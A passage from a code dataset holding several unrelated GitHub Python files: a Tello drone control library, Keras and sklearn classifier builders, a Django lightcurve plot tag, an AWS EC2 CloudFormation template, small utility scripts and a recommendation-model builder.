listener.join()\n \n def connect(self):\n input(\"___press enter to start___\\n\")\n if not self.is_connected:\n if not self.clientSocket:\n self.clientSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.clientSocket.bind(('', self.UDP_PORT)) # For UDP response (receiving data)\n self.stateSocket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n self.stateSocket.bind(('', self.STATE_UDP_PORT)) # for accessing the states of Tello\n self.is_connected = True\n thread1 = Thread(target=self.run_udp_receiver)\n thread2 = Thread(target=self.get_states)\n thread1.daemon = True\n thread2.daemon = True\n thread1.start()\n thread2.start()\n self.is_connected = self.send_control_command(\"command\")\n return self.is_connected\n else: \n return print(\"tello is already connected\")\n\n def takeoff(self):\n if self.send_control_command(\"takeoff\", timeout=30):\n self.is_flying = True\n return True\n else:\n return False\n\n def land(self):\n if self.send_control_command(\"land\"):\n self.is_flying = False\n return True\n else:\n return False\n\n def streamon(self):\n result = self.send_control_command(\"streamon\")\n if result is True:\n self.stream_on = True\n return result\n\n def streamoff(self):\n result = self.send_control_command(\"streamoff\")\n if result is True:\n self.stream_on = False\n return result\n\n def emergency(self):\n return self.send_control_command(\"emergency\")\n def stop(self):\n return self.send_control_command(\"stop\")\n @accepts(direction=str, x=int)\n def move(self, direction, x):\n return self.send_control_command(direction + ' ' + str(x))\n\n @accepts(x=int)\n def move_up(self, x):\n return self.move(\"up\", x)\n\n @accepts(x=int)\n def move_down(self, x):\n return self.move(\"down\", x)\n\n @accepts(x=int)\n def move_left(self, x):\n return self.move(\"left\", x)\n\n @accepts(x=int)\n def move_right(self, x):\n return self.move(\"right\", x)\n\n @accepts(x=int)\n def move_forward(self, x):\n return self.move(\"forward\", x)\n\n @accepts(x=int)\n def move_back(self, x):\n return self.move(\"back\", x)\n\n @accepts(x=int)\n def rotate_clockwise(self, x):\n return self.send_control_command(\"cw \" + str(x))\n \n @accepts(x=int)\n async def _rotate_clockwise(self, x):\n return await self._send_control_command(\"cw \" + str(x))\n\n @accepts(x=int)\n def rotate_counter_clockwise(self, x):\n return self.send_control_command(\"ccw \" + str(x))\n\n @accepts(x=str)\n def flip(self, direction):\n return self.send_control_command(\"flip \" + direction)\n\n def flip_left(self):\n return self.flip(\"l\")\n\n def flip_right(self):\n return self.flip(\"r\")\n\n def flip_forward(self):\n return self.flip(\"f\")\n\n def flip_back(self):\n return self.flip(\"b\")\n\n @accepts(x=int, y=int, z=int, speed=int)\n def go_xyz_speed(self, x, y, z, speed):\n return self.send_command_without_return('go %s %s %s %s' % (x, y, z, speed))\n\n @accepts(x1=int, y1=int, z1=int, x2=int, y2=int, z2=int, speed=int)\n def curve_xyz_speed(self, x1, y1, z1, x2, y2, z2, speed):\n return self.send_command_without_return('curve %s %s %s %s %s %s %s' % (x1, y1, z1, x2, y2, z2, speed))\n\n @accepts(x=int, y=int, z=int, speed=int, mid=int)\n def go_xyz_speed_mid(self, x, y, z, speed, mid):\n return self.send_control_command('go %s %s %s %s m%s' % (x, y, z, speed, mid))\n\n @accepts(x1=int, y1=int, z1=int, x2=int, y2=int, z2=int, speed=int, mid=int)\n def curve_xyz_speed_mid(self, x1, y1, z1, x2, y2, z2, speed, mid):\n return self.send_control_command('curve %s %s %s %s %s %s %s m%s' % (x1, y1, z1, x2, y2, z2, speed, mid))\n\n @accepts(x=int, y=int, z=int, speed=int, yaw=int, mid1=int, mid2=int)\n def go_xyz_speed_yaw_mid(self, x, y, z, speed, yaw, mid1, mid2):\n return self.send_control_command('jump %s %s %s %s %s m%s m%s' % (x, y, z, speed, yaw, mid1, mid2))\n\n def enable_mission_pads(self):\n return self.send_control_command(\"mon\")\n\n def disable_mission_pads(self):\n return self.send_control_command(\"moff\")\n\n def set_mission_pad_detection_direction(self, x):\n return self.send_control_command(\"mdirection \" + str(x))\n\n @accepts(x=int)\n def set_speed(self, x):\n return self.send_control_command(\"speed \" + str(x))\n\n last_rc_control_sent = 0\n\n @accepts(left_right_velocity=int, forward_backward_velocity=int, up_down_velocity=int, yaw_velocity=int)\n def send_rc_control(self, left_right_velocity = 0 , forward_backward_velocity = 0, up_down_velocity = 0, yaw_velocity = 0):\n if not (int(time() * 1000) - self.last_rc_control_sent < self.TIME_BTW_RC_CONTROL_COMMANDS) :\n self.last_rc_control_sent = int(time() * 1000)\n return self.send_command_without_return('rc %s %s %s %s' % (self.round_to_100(left_right_velocity),\n self.round_to_100(forward_backward_velocity),self.round_to_100(up_down_velocity),self.round_to_100(yaw_velocity)))\n\n @accepts(x=int)\n def round_to_100(self, x):\n if x > 100:\n return 100\n elif x < -100:\n return -100\n else:\n return x\n\n def set_wifi_credentials(self, ssid, password):\n return self.send_control_command('wifi %s %s' % (ssid, password))\n\n def connect_to_wifi(self, ssid, password):\n return self.send_control_command('ap %s %s' % (ssid, password))\n\n def get_speed(self):\n return self.send_read_command('speed?')\n\n def get_battery(self):\n return self.send_read_command('battery?')\n\n def get_flight_time(self):\n return self.send_read_command('time?')\n\n def get_height(self):\n return self.send_read_command('height?')\n\n def get_temperature(self):\n return self.send_read_command('temp?')\n\n def get_attitude(self):\n r = self.send_read_command('attitude?').replace(';', ':').split(':')\n return dict(zip(r[::2], [int(i) for i in r[1::2]])) # {'pitch': xxx, 'roll': xxx, 'yaw': xxx}\n\n def get_barometer(self):\n return self.send_read_command('baro?')\n\n def get_distance_tof(self):\n return self.send_read_command('tof?')\n\n def get_wifi(self):\n return self.send_read_command('wifi?')\n\n def get_sdk_version(self):\n return self.send_read_command('sdk?')\n\n def get_serial_number(self):\n return self.send_read_command('sn?')\n\n def end(self):\n if self.is_flying:\n self.land()\n if self.stream_on:\n self.streamoff()\n if not self.background_frame_read == None:\n self.background_frame_read.stop()\n if not self.cap == None:\n self.cap.release()\n if self.is_connected :\n self.is_connected = False\n sleep(0.1)\n try :\n self.clientSocket.close()\n self.stateSocket.close()\n except: pass\n self.clientSocket = None\n\n def __del__(self):\n self.end()\n\n\nclass BackgroundFrameRead:\n def __init__(self, tello, address):\n tello.cap = cv2.VideoCapture(address)\n self.cap = tello.cap\n\n if not self.cap.isOpened():\n self.cap.open(address)\n\n self.grabbed, self.frame = self.cap.read()\n self.stopped = False\n\n def start(self):\n _thread = Thread(target=self.update_frame, args=())\n _thread.daemon = True\n _thread.start()\n return self\n\n def update_frame(self):\n while not self.stopped:\n if not self.grabbed or not self.cap.isOpened():\n self.stop()\n else:\n (self.grabbed, self.frame) = self.cap.read()\n\n def stop(self):\n self.stopped = True\n","repo_name":"sajjad-MoBe/TelloLib","sub_path":"Tello/tello.py","file_name":"tello.py","file_ext":"py","file_size_in_byte":17490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"21870760277","text":"import tensorflow\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation\nfrom tensorflow.keras.layers import Embedding, Conv1D, Flatten, MaxPooling1D, GlobalMaxPooling1D\nfrom tensorflow.keras.layers import LSTM\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import KFold\n\nfrom sklearn_genetic import GASearchCV\nfrom sklearn_genetic.space import Categorical, Integer, Continuous\n\nclassifiers = {\n \"SVC\": SVC(probability=True),\n \"LogisticRegression\": LogisticRegression(max_iter=10000)\n}\n\nparams_grid = {\n \"SVC\": {\n \"C\": Continuous(0,10),\n \"gamma\": Continuous(0,10),\n \"kernel\": Categorical([\"linear\", \"rbf\"])\n },\n \"LogisticRegression\": {\n \"C\": Continuous(0,10),\n \"penalty\": Categorical([\"l2\"])\n }\n}\n\ndef evolved_classifier(\n X_train, X_val, y_val, y_train,\n classifier_name, best_params=False\n):\n classifier = classifiers[classifier_name]\n cv = KFold(n_splits=10, shuffle=True)\n\n params = params_grid[classifier_name] \n\n evolved_estimator = GASearchCV(\n estimator=classifier,\n cv=cv,\n scoring=\"accuracy\",\n population_size=15,\n generations=30,\n crossover_probability=0.5,\n mutation_probability=0.1,\n param_grid=params,\n algorithm=\"eaSimple\",\n verbose=True\n )\n\n evolved_estimator.fit(X_train, y_train)\n\n return evolved_estimator\n\ndef build_DNN(\n vocab_size,\n maxlen,\n embedding_matrix,\n hidden_dims,\n dropout_rate=0.2\n):\n model=Sequential()\n model.add(Embedding(\n vocab_size,\n 100,\n input_length=maxlen,\n weights=[embedding_matrix],\n trainable=False\n ))\n model.add(Dropout(dropout_rate))\n model.add(Dense(hidden_dims, activation='relu'))\n model.add(Dropout(dropout_rate))\n model.add(Flatten())\n model.add(Dense(hidden_dims, activation='relu'))\n model.add(Dropout(dropout_rate))\n model.add(Dense(3, activation='softmax'))\n\n return model\n\n\ndef build_LSTM(\n vocab_size,\n maxlen,\n embedding_matrix,\n hidden_dims\n):\n model = Sequential()\n model.add(Embedding(\n vocab_size,\n 100,\n input_length=maxlen,\n weights=[embedding_matrix],\n trainable=False\n ))\n model.add(LSTM(hidden_dims, activation=\"relu\"))\n model.add(Dense(3, activation=\"softmax\"))\n \n return model\n\ndef build_Conv1D(\n vocab_size,\n maxlen,\n embedding_matrix,\n filters,\n kernel_size,\n hidden_dims\n):\n model = Sequential()\n model.add(Embedding(\n vocab_size,\n 100,\n input_length=maxlen,\n weights=[embedding_matrix],\n trainable=False\n ))\n model.add(Dropout(0.5))\n model.add(Conv1D(\n filters,\n kernel_size,\n padding='valid',\n activation='relu'\n ))\n model.add(MaxPooling1D())\n model.add(Conv1D(\n filters,\n kernel_size,\n padding='valid',\n activation='relu'\n ))\n model.add(MaxPooling1D())\n model.add(Conv1D(\n filters,\n kernel_size,\n padding='valid',\n activation='relu'\n ))\n model.add(GlobalMaxPooling1D())\n #model.add(Flatten())\n model.add(Dense(hidden_dims, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(3, activation='softmax'))\n\n return model\n\n\n","repo_name":"tivorn/desafio2-mandacaru-dev","sub_path":"Models.py","file_name":"Models.py","file_ext":"py","file_size_in_byte":3496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"10610724154","text":"\"\"\"\n6306292a52e177c0ba469f41\njaywink/federation\nfederation/utils/text.py\ntest_tag\n119\n126\n\n\nChecks whether each character in the LEEGAL_TAG_CHARS belongs to a tag. If any character belongs to a tag, the value False is returned. Otherwise, the value True is returned.\n\n\"\"\"\nimport sys\nimport traceback\nimport pickle\n\n# import ...\nfrom federation.utils.text import test_tag\n\n\n# Test Data\ntest_data = {\n 'here are spaces',\n 'a-normal-string',\n 'https://a_url.com'\n}\n\n#\nexit_code = 0\n\ntry:\n result = {}\n for i in test_data:\n result[i] = test_tag(i)\n # print(result)\n print(pickle.dumps(result))\nexcept:\n print(traceback.print_exc(), file=sys.stderr)\n exit_code = 1\n\nexit(exit_code)\n","repo_name":"luckytianpeng/EvalShop","sub_path":"codereval_rest_api_server/codereval_sandbox/test_entry_points/6306292a52e177c0ba469f41.py","file_name":"6306292a52e177c0ba469f41.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"31947782639","text":"import json\n\nfrom django import template\nfrom django.core.paginator import Paginator\nfrom datetime import datetime\n\nfrom plotly import offline\nimport plotly.graph_objs as go\nfrom astropy.coordinates import SkyCoord\nfrom astropy.table import Table, Column\nimport numpy as np\nfrom os import path, getcwd\nimport json\nfrom tom_targets.models import Target, TargetExtra\nfrom tom_dataproducts.models import ReducedDatum\n\nregister = template.Library()\n\nclass Lightcurve():\n\n def __init__(self):\n self.dataset_code = None\n self.hjd = []\n self.mag = []\n self.mag_err = []\n\n@register.inclusion_tag('custom_views/plot_display.html')\ndef plot_lightcurve(target):\n\n def fetch_lc_data_for_star(target,plot_limits):\n\n params = {}\n\n star_id = str(target.name).split('-')[-1]\n\n qs = ReducedDatum.objects.filter(source_name__contains=star_id)\n\n datasets = {}\n for entry in qs:\n data = json.loads(entry.value)\n if data['filter'] in datasets.keys():\n lc_data = datasets[data['filter']]\n else:\n lc_data = Lightcurve()\n\n if 'fa15' in entry.source_name or 'fl15' in entry.source_name:\n lc_data.dataset_code = data['filter']\n if float(data['magnitude']) > 0.0 and \\\n float(data['magnitude_error']) > 0.0 and float(data['magnitude_error']) <= 0.05:\n lc_data.hjd.append(float(data['hjd']) - 2450000.0)\n lc_data.mag.append(float(data['magnitude']))\n lc_data.mag_err.append(float(data['magnitude_error']))\n\n datasets[data['filter']] = lc_data\n\n for code, lc_data in datasets.items():\n table_data = [ Column(name='hjd', data=lc_data.hjd),\n Column(name='mag', data=lc_data.mag),\n Column(name='mag_err', data=lc_data.mag_err) ]\n datasets[code] = Table(data=table_data)\n\n return datasets\n\n plot_limits = {'bright_g': 14.0, 'faint_g': 22.0,\n 'gi_min': 0.5, 'gi_max': 4.5}\n plot_colours = { 'gp': '#0AD503',\n 'rp': '#F4ED0B',\n 'ip': '#D51D03'}\n datasets = fetch_lc_data_for_star(target, plot_limits)\n\n if len(datasets) > 0:\n\n fig = go.Figure()\n\n for code, lc_data in datasets.items():\n\n trace_colour = plot_colours[code]\n\n fig.add_trace(\n go.Scatter(\n x=np.array(lc_data['hjd']),\n y=np.array(lc_data['mag']),\n error_y=dict(type='data',\n array=np.array(lc_data['mag_err']),\n visible=True),\n name=code,\n mode=\"markers\",\n marker=dict(size=0.5,\n color=trace_colour,\n line=dict(width=2,\n color=trace_colour)),\n )\n )\n\n fig.update_xaxes(\n visible=True,\n #range=[plot_limits['gi_min'], plot_limits['gi_max']],\n title=go.layout.xaxis.Title(\n text='HJD - 2450000.0',\n font=dict(\n size=18,\n color='white')),\n linecolor='white',\n color = 'white'\n )\n\n fig.update_yaxes(\n visible=True,\n #range=[plot_limits['bright_g'], plot_limits['faint_g']],\n title=go.layout.yaxis.Title(\n text='Magnitude',\n font=dict(\n size=18,\n color='white')),\n linecolor='white',\n color = 'white',\n autorange='reversed',\n )\n\n fig.update_layout(\n title='Lightcurves of star '+target.name,\n font=dict(color=\"white\",size=20),\n width=700,\n height=700,\n margin={\"l\": 55, \"r\": 15, \"t\": 55, \"b\": 55},\n plot_bgcolor='black',\n paper_bgcolor='black',\n )\n\n return {\n 'target': target,\n 'plot': offline.plot(fig, output_type='div', show_link=False)\n }\n\n else:\n\n plot = '
    '\n\n return {'target': target,\n 'plot': plot}\n","repo_name":"rachel3834/romerea_phot_tom","sub_path":"custom_views/templatetags/lightcurve_plot_tag.py","file_name":"lightcurve_plot_tag.py","file_ext":"py","file_size_in_byte":4704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"1074964674","text":"# Converted from EC2InstanceSample.template located at:\n# http://aws.amazon.com/cloudformation/aws-cloudformation-templates/\n\nfrom troposphere import Base64, FindInMap, GetAtt, Join\nfrom troposphere import Parameter, Output, Ref, Template, iam\nimport troposphere.ec2 as ec2\n\ntemplate = Template()\n\nkeyname_param = template.add_parameter(Parameter(\n \"KeyName\",\n Description=\"Name of an existing EC2 KeyPair to enable SSH \"\n \"access to the instance\",\n Type=\"String\",\n\tDefault=\"esbi-dev\",\n))\n\n\ntemplate.add_mapping('RegionMap', {\n \"us-east-1\": {\"AMI\": \"ami-7f418316\"},\n \"us-west-1\": {\"AMI\": \"ami-951945d0\"},\n \"us-west-2\": {\"AMI\": \"ami-16fd7026\"},\n \"eu-west-1\": {\"AMI\": \"ami-24506250\"},\n \"sa-east-1\": {\"AMI\": \"ami-3e3be423\"},\n \"ap-southeast-1\": {\"AMI\": \"ami-74dda626\"},\n \"ap-northeast-1\": {\"AMI\": \"ami-dcfa4edd\"}\n})\n\n\n### 2.1 Define security group\n\nmySecurityGroup = ec2.SecurityGroup('simpleSG')\nmySecurityGroup.GroupDescription = 'shh traffic allowed'\nmySecurityGroup.SecurityGroupIngress = [ec2.SecurityGroupRule(IpProtocol='tcp',\n FromPort='22', # on port 22\n ToPort='22',\n CidrIp='0.0.0.0/0')]\ntemplate.add_resource(mySecurityGroup)\n\nec2_instance = template.add_resource(ec2.Instance(\n \"Ec2Instance\",\n ImageId=FindInMap(\"RegionMap\", Ref(\"AWS::Region\"), \"AMI\"),\n InstanceType=\"t1.micro\",\n KeyName=Ref(keyname_param),\n SecurityGroups=[Ref(mySecurityGroup)],\n UserData=Base64(Join('', [\n 'sudo yum update -y',\n 'sudo amazon-linux-extras install docker -y',\n 'sudo service docker start',\n 'sudo usermod -a -G docker ec2-user'\n ]))\n))\n\ntemplate.add_output([\n Output(\n \"InstanceId\",\n Description=\"InstanceId of the newly created EC2 instance\",\n Value=Ref(ec2_instance),\n ),\n Output(\n \"AZ\",\n Description=\"Availability Zone of the newly created EC2 instance\",\n Value=GetAtt(ec2_instance, \"AvailabilityZone\"),\n ),\n Output(\n \"PublicIP\",\n Description=\"Public IP address of the newly created EC2 instance\",\n Value=GetAtt(ec2_instance, \"PublicIp\"),\n ),\n Output(\n \"PrivateIP\",\n Description=\"Private IP address of the newly created EC2 instance\",\n Value=GetAtt(ec2_instance, \"PrivateIp\"),\n ),\n Output(\n \"PublicDNS\",\n Description=\"Public DNSName of the newly created EC2 instance\",\n Value=GetAtt(ec2_instance, \"PublicDnsName\"),\n ),\n Output(\n \"PrivateDNS\",\n Description=\"Private DNSName of the newly created EC2 instance\",\n Value=GetAtt(ec2_instance, \"PrivateDnsName\"),\n ),\n])\n\n\n\nprint(template.to_json())\n\nfh = open(\"ec2_instance_template.json\", \"a\")\nfh.writelines(template.to_json())\nfh.close()\n","repo_name":"OMR5221/aws_automation","sub_path":"EC2InstanceSample.py","file_name":"EC2InstanceSample.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"31350670057","text":"'''\r\n This file was created with the intention of better understanding how\r\n strings are converted and eventually stored as binaries in memory.\r\n\r\n In a nutshell, each character in the string is first converted to its\r\n ASCII equivalent, which is a decimal value, then converted to binary.\r\n After which, to convert it back to a string, the process is reversed.\r\n'''\r\n\r\ndef toBinary(a: str):\r\n bin_list = []\r\n for char in a:\r\n # Converts character to its respective ASCII code.\r\n # This is done by matching the character to the\r\n # ASCII table. The ASCII table can be seen below.\r\n # https://www.johndcook.com/blog/2022/05/28/how-to-memorize-the-ascii-table/\r\n ascii_code = ord(char)\r\n\r\n # Convert ASCII code to binary. This is done by\r\n # converting the base 10 ASCII code to base 2 binary.\r\n\r\n # Slicing the string [2:] removes the binary prefix 0b.\r\n bin_val = int(bin(ascii_code)[2:])\r\n\r\n bin_list.append(bin_val)\r\n \r\n return bin_list\r\n\r\ndef toString(bin_list: list):\r\n final_str = \"\"\r\n\r\n for bin_val in bin_list:\r\n decimal_val = 0\r\n for digit in str(bin_val):\r\n # Left to right approach. Whenever there\r\n # an additional bit added, multiply the\r\n # current decimals by 2, which is the same\r\n # as increasing the exponent value by 1.\r\n\r\n # Doing this gives us the ASCII code.\r\n decimal_val = decimal_val * 2 + int(digit)\r\n \r\n # chr() matches the ASCII code\r\n # against the table, returning\r\n # the unicode corresponding to\r\n # the ASCII code.\r\n final_str += chr(decimal_val)\r\n\r\n return final_str\r\n\r\nstr_to_convert = input(\"Give me a string to test: \")\r\n\r\nbin = toBinary(str_to_convert)\r\nreturned_str = toString(bin)\r\n\r\nif str_to_convert == returned_str:\r\n print(\"Conversion OK.\")\r\nelse:\r\n print(f\"Conversion failed, expected {str_to_convert} but received {returned_str}.\")","repo_name":"ztdevelops/playground","sub_path":"src/strings_and_binaries.py","file_name":"strings_and_binaries.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"20892918372","text":"# this .py file runs on python 3 (NOT python 2)\n\nfrom statistics import mean, stdev\nfrom math import sqrt\n\n# example data:\ngroup1 = [3, 15, 8, 5, 14, 19, 4]\ngroup2 = [3, 14, 15, 9, 2, 6, 5]\n\n# to get Cohen's d effect size, we need differenceInMeans_grp1vs2 and pooledStdDev:\n\n# differenceInMeans_grp1vs2:\ndifferenceInMeans_grp1vs2 = mean(group1) - mean(group2)\n\n# pooledStdDev:\nsd1 = stdev(group1)\nsd2 = stdev(group2)\nn1 = len(group1)\nn2 = len(group2)\npooledStdDev = sqrt( ((n1-1)*sd1**2 + (n2-1)*sd2**2) / (n1+n2-2) )\n# or pooledStdDev = sqrt( (sd1**2 + sd2**2) / 2 )\n\n# Cohen's d effect size:\ncohens_d = differenceInMeans_grp1vs2 / pooledStdDev\nprint(\"Cohen's d effect size for Group 1 vs. Group 2: \\n\\t\" + str(cohens_d))\nprint('0.2=small 0.5=medium 0.8=large')\n\n# evaluate effect size:\ndef evalEffectSize(cohens_d):\n cohens_d = abs(cohens_d)\n if cohens_d >= 0.8:\n return 'large'\n elif cohens_d >= 0.5:\n return 'medium'\n elif cohens_d >= 0.2:\n return 'small'\n elif cohens_d < 0.2:\n return 'very small'\n\nprint('Effect size: \\n\\t' + evalEffectSize(cohens_d))\n","repo_name":"hchiam/learning-python","sub_path":"stats/cohensd_example.py","file_name":"cohensd_example.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"23"} +{"seq_id":"29233962773","text":"#---inputs\nimport tensorflow as tf\nimport datetime\nimport sys, os\nsys.path.append(os.pardir)\n\nimport core.config as cfg\nfrom model.layers import MaskedEmbeddingsAggregatorLayer, L2NormLayer\n\nclass CandidateGeneration(object):\n def __init__(self, trainable=True):\n\n self.trainable = trainable\n\n def build_nework(self):\n input_watch_hist = tf.keras.Input(shape=(None, ), name='watch_hist')\n input_watch_hist_time = tf.keras.layers.Input(shape=(None,), name='watch_hist_time')\n input_search_hist = tf.keras.layers.Input(shape=(None,), name='search_hist')\n input_example_age = tf.keras.Input(shape=(None, ), name='example_age')\n\n #--- layers\n features_embedding_layer = tf.keras.layers.Embedding(input_dim=cfg.NUM_CLASSES, output_dim=cfg.EMBEDDING_DIMS, mask_zero=True, trainable=True, name='features_embeddings')\n labels_embedding_layer = tf.keras.layers.Embedding(input_dim=cfg.NUM_CLASSES, output_dim=cfg.EMBEDDING_DIMS,mask_zero=True, trainable=True, name='labels_embeddings')\n\n avg_embeddings = MaskedEmbeddingsAggregatorLayer(agg_mode='mean', name='aggregate_embeddings')\n\n dense_1 = tf.keras.layers.Dense(units=cfg.DENSE_UNITS, name='dense_1')\n dense_2 = tf.keras.layers.Dense(units=cfg.DENSE_UNITS, name='dense_2')\n dense_3 = tf.keras.layers.Dense(units=cfg.DENSE_UNITS, name='dense_3')\n l2_norm_1 = L2NormLayer(name='l2_norm_1')\n\n dense_output = tf.keras.layers.Dense(cfg.NUM_CLASSES, activation=tf.nn.softmax, name='dense_output')\n\n #--- features\n features_embeddings = features_embedding_layer(input_watch_hist)\n l2_norm_features = l2_norm_1(features_embeddings)\n avg_features = avg_embeddings(l2_norm_features)\n\n labels_watch_embeddings = labels_embedding_layer(input_watch_hist_time)\n l2_norm_watched = l2_norm_1(labels_watch_embeddings)\n avg_watched = avg_embeddings(l2_norm_watched)\n\n labels_search_embeddings = labels_embedding_layer(input_search_hist)\n l2_norm_searched = l2_norm_1(labels_search_embeddings)\n avg_searched = avg_embeddings(l2_norm_searched)\n\n labels_example_age_embeddings = labels_embedding_layer(input_example_age)\n l2_norm_example_age = l2_norm_1(labels_example_age_embeddings)\n avg_example_age = avg_embeddings(l2_norm_example_age)\n\n\n # 임베딩 벡터들 연결\n concat_inputs = tf.keras.layers.Concatenate(axis=1)([avg_features,\n avg_watched,\n avg_searched,\n avg_example_age,\n ])\n # Dense Layers\n dense_1_features = dense_1(concat_inputs)\n dense_1_relu = tf.keras.layers.ReLU(name='dense_1_relu')(dense_1_features)\n dense_1_batch_norm = tf.keras.layers.BatchNormalization(name='dense_1_batch_norm')(dense_1_relu)\n\n dense_2_features = dense_2(dense_1_relu)\n dense_2_relu = tf.keras.layers.ReLU(name='dense_2_relu')(dense_2_features)\n # dense_2_batch_norm = tf.keras.layers.BatchNormalization(name='dense_2_batch_norm')(dense_2_relu)\n\n dense_3_features = dense_3(dense_2_relu)\n dense_3_relu = tf.keras.layers.ReLU(name='dense_3_relu')(dense_3_features)\n dense_3_batch_norm = tf.keras.layers.BatchNormalization(name='dense_3_batch_norm')(dense_3_relu)\n outputs = dense_output(dense_3_batch_norm)\n\n #Optimizer\n optimiser = tf.keras.optimizers.Adam(learning_rate=cfg.LEARNING_RATE)\n\n #--- prep model\n model = tf.keras.models.Model(\n inputs=[input_watch_hist, \n input_watch_hist_time, \n input_search_hist,\n input_example_age,\n ],\n outputs=[outputs]\n )\n logdir = os.path.join(\"logs\", datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\"))\n tensorboard_callback = tf.keras.callbacks.TensorBoard(logdir, histogram_freq=1)\n model.compile(optimizer=optimiser, loss='sparse_categorical_crossentropy', metrics=['acc'])\n\n self.model = model\n\n return model\n\n def save(self):\n self.model.save(\"candidate_generation.h5\")\n\n def summary(self):\n self.model.summary()\n","repo_name":"hyez/Deep-Youtube-Recommendations","sub_path":"model/candidate_generation.py","file_name":"candidate_generation.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"23"} +{"seq_id":"14084275513","text":"\"\"\"\r\nProblema 5: Combined cards\r\nAutor de la solucion: Luis Arturo DLG.\r\nPython 3.x\r\n\r\nDescripcion del problema: Calcular las combinaciones posibles de un conjunto de\r\nn cartas, terminamos hasta encontrar un 0.\r\n\r\nEjemplo:\r\nEntrada:\r\n3\r\n5\r\n0\r\n\r\nSalida:\r\n6\r\n120\r\n\r\nExplicacion: Para calcular las combinaciones posibles de n cartas, donde las\r\nposiciones de estas afectan la combinacion, obtendremos que el resultado es\r\nigual a el factorial del n. Ejemplo:\r\nn = 3\r\n1) 1,2,3\r\n2) 1,3,2\r\n3) 2,1,3\r\n4) 2,3,1\r\n5) 3,1,2\r\n6) 3,2,1\r\n\r\n3! = 6\r\n\r\nPara calcular el factorial de n, debemos de usar la funcion recursiva:\r\nn! = n * n-1 * n-2 * ... * 1\r\nEjemplo:\r\n3! = 3 * 2 * 1 = 6\r\n\"\"\"\r\n\r\ndef factorial(n):\r\n \"\"\"\r\n Funcion para calcular el factorial de un numero n\r\n > n: int\r\n retorno:\r\n int con el valor del factorial de n\r\n \"\"\"\r\n if n == 1: # si n es igual a 1\r\n return 1\r\n\r\n \"\"\"\r\n Escribimos la funcion recursiva en base a la formula:\r\n n! = n * n-1 * n-2 * ... * 1\r\n Donde n va disminuyendo 1 hasta ser igual a 1\r\n \"\"\"\r\n return n * factorial(n - 1)\r\n\r\n#libreria de matematicas\r\n# import math\r\n\r\nif __name__ == '__main__': # main del programa\r\n\r\n while True:\r\n\r\n n = int(input()) # numero de cartas\r\n\r\n if n == 0: # si recibimos un 0\r\n break # terminamos el programa\r\n\r\n print(factorial(n))\r\n \"\"\"\r\n Modo rapido\r\n Aprovechando la libreria de matematicas, podemos utilizar la Funcion\r\n factorial en vez de escribir nuestra Funcion\r\n print(math.factorial(n))\r\n \"\"\"\r\n","repo_name":"club-de-algoritmia-cuvalles/Concursos","sub_path":"CUValles2019B/Intermedio/Problema5/Problema5.py","file_name":"Problema5.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"36237084564","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-# une librairie pour faire des requetes HTTP\nimport requests\n\n# adresse du seveur\nHOSTNAME = 'A COMPLETER'\npath = '/description'\nr = requests.get(HOSTNAME + path)\nprint(r.code)\nprint(r.text)\n","repo_name":"louity/tutorielHttpPython","sub_path":"cours_2_serveur/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"32553933875","text":"import matplotlib.pyplot as plt\nfrom matplotlib.gridspec import GridSpecFromSubplotSpec\nfrom .calc import calc\nfrom ..model_helpers import create_figure\n\n\ndef plot(gridspec=None, file='data.h5', marker='o'):\n if gridspec is None:\n gridspec = create_figure()\n\n all_data = calc(calc=False, save=file)\n\n mod_data = all_data[all_data.model]\n exp_data = all_data[~all_data.model]\n #\n mod_tau = all_data[all_data.model].tau.unique() * 1e3\n exp_tau = all_data[~all_data.model].tau.unique() * 1e3\n\n\n gs = GridSpecFromSubplotSpec(2, 1, gridspec)\n ax = [plt.subplot(gs[0]), plt.subplot(gs[1])]\n # fig, ax = plt.subplots(2, 1, sharex='all', sharey='all')\n p = ax[0].plot(mod_tau, mod_data[mod_data.exp == 'n_tau_s_pi'].SNR,\n label=r'$N_{\\Delta t} S_\\pi$')\n ax[0].plot(exp_tau, exp_data[exp_data.exp == 'n_tau_s_pi'].SNR,\n marker=marker, color=p[0].get_color())\n p = ax[0].plot(mod_tau, mod_data[mod_data.exp == 'n_0_s_tau'].SNR,\n label=r'$N_{\\pi} S_{\\Delta t}$')\n ax[0].plot(exp_tau, exp_data[exp_data.exp == 'n_0_s_tau'].SNR,\n marker=marker, color=p[0].get_color())\n p = ax[1].plot(mod_tau, mod_data[mod_data.exp == 'n_tau_s_0'].SNR,\n label=r'$N_{\\Delta t} S_0$')\n ax[1].plot(exp_tau, exp_data[exp_data.exp == 'n_tau_s_0'].SNR,\n marker=marker, color=p[0].get_color())\n p = ax[1].plot(mod_tau, mod_data[mod_data.exp == 'n_pi_s_tau'].SNR,\n label=r'$N_{0} S_{\\Delta t}$')\n 